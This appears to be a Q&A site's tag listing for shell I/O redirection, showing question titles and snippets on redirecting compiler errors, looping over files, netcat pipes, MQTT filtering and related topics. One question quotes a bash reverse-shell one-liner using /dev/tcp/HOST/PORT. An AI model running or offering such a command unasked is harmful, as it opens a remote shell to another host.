io redirection is the process of changing where the output and input of a program originate

learn more… | top users | synonyms (1)

1
vote
2answers
26 views

CSH and all output (with errors) to file

I need save all output from compilation to file. I have many errors "undefined reference" and I want see all of these errors. I try "makeall >& out", but in file "out" aren't any of error ...
0
votes
2answers
41 views

Unix how to loop through directories, send output to another directory with base name of input file

I am an infrequent user of UNIX, I'm sure this will be fairly trivial for any regular user so I appologize for that. I have the following code: for file in /home/sub1/samples/aaa*/*_novoalign.bam ...
3
votes
1answer
556 views

KSH styling text based menu using STDERR

Is it possible to format the STDERR in order to have a better looking menu using the select command? I have a simple select select oChoice in $(<tempMenu.menu) ; do case "$oChoice" in ...
1
vote
1answer
92 views

Why doesn't this piped script work?

#!/bin/bash rm out mkfifo out nc -l 8080 < out | while read line do echo hello > out echo $line done If I browse to the IP of the machine this script is running on (using port ...
1
vote
1answer
463 views

Running 'bash -i >& /dev/tcp/HOST/PORT 0>&1' in the background

I want to run bash -i >& /dev/tcp/HOST/PORT 0>&1 in the background at server1. I want to listen to the connection and send commands back at HOST/PORT. So, tcpdump isn't sufficient for ...
0
votes
1answer
20 views

append file with history line number values

Is there a way to append my_computer.sh with the command on line 330 by only referencing the line number? or with the fewest keystrokes possible? 326 pip install -U pip 327 man pip 328 cat ...
0
votes
1answer
89 views

Prompting when redirecting content of script to remote machine

I have simple script: #!/bin/bash while getopts ":u:" opt; do case $opt in u) USER="${OPTARG}" ;; \?) echo "Unknown flag has been used: -$OPTARG" >&2 exit 1 ...
-1
votes
1answer
100 views

Redirect a directory as input to a script and output to a file

I want to use a directory name as a parameter for a pre-made script. Then the output goes into a newly made file in the home directory. It involves pipe/redirection. How do I do that? read dir $dir ...
2
votes
0answers
45 views

Capturing data from a Fluke 1620a via Bash /dev/tcp file descriptor

I am currently trying to develop a script that will connect to a Fluke DewK 1620a Themo-Hygrometer and pull the current temperature and humidity readings from the device. While these devices have a ...
1
vote
0answers
47 views

Why the output is not written to log from expect script

I am trying to write the output of the netcat command including the command also to a file by logging into remote servers. But it is not writing. What am I missing ? #!/usr/bin/expect -f set user ...
1
vote
0answers
69 views

Sed regex printing into a file.txt

I'm connected to a MQTT stream, and I filter out the data by entering : mosquitto_sub -d -t +/# 2>&1 | sed -n "/PUBLISH/{s|.*\('.*',\).*|\1$(date),|;N;s/\n//;p}" into the Ubuntu terminal. ...
0
votes
0answers
17 views

Using `perf` repeatedly with file input

perf can be used to analyze the performance of a program. Say you want to test the performance of a program prgrm, with input from a file, you can run: perf stat prgrm < inp.dat Now when you ...
0
votes
0answers
145 views

how to route traffic on port to ip:port on linux?

I'm trying to route all traffic on port udp 5000 to udp 192.168.0.1:12333 with the following command: $ iptables -t nat -A PREROUTING -p udp -m udp --dport 5000 \ -j DNAT --to 192.168.0.1:12333 ...
0
votes
0answers
65 views

Why is a here-string command substitution considered as a single line?

I'm experimenting with while read syntax and there is a thing I don't understand. The most basic scenario which reproduces the problem is the following: a bash script a.sh calls another script b.sh ...
0
votes
0answers
277 views

start-stop-daemon doesn't stop programs which redirect stdout/stderr

I just discovered, that start-stop-daemon doesn't work well with programs redirecting their stdout/stderr: # cat /root/_/1.sh #!/usr/bin/env bash set -eu cmd="~yuri/_/${2:-1}.sh" if [ "${3:-}" = ...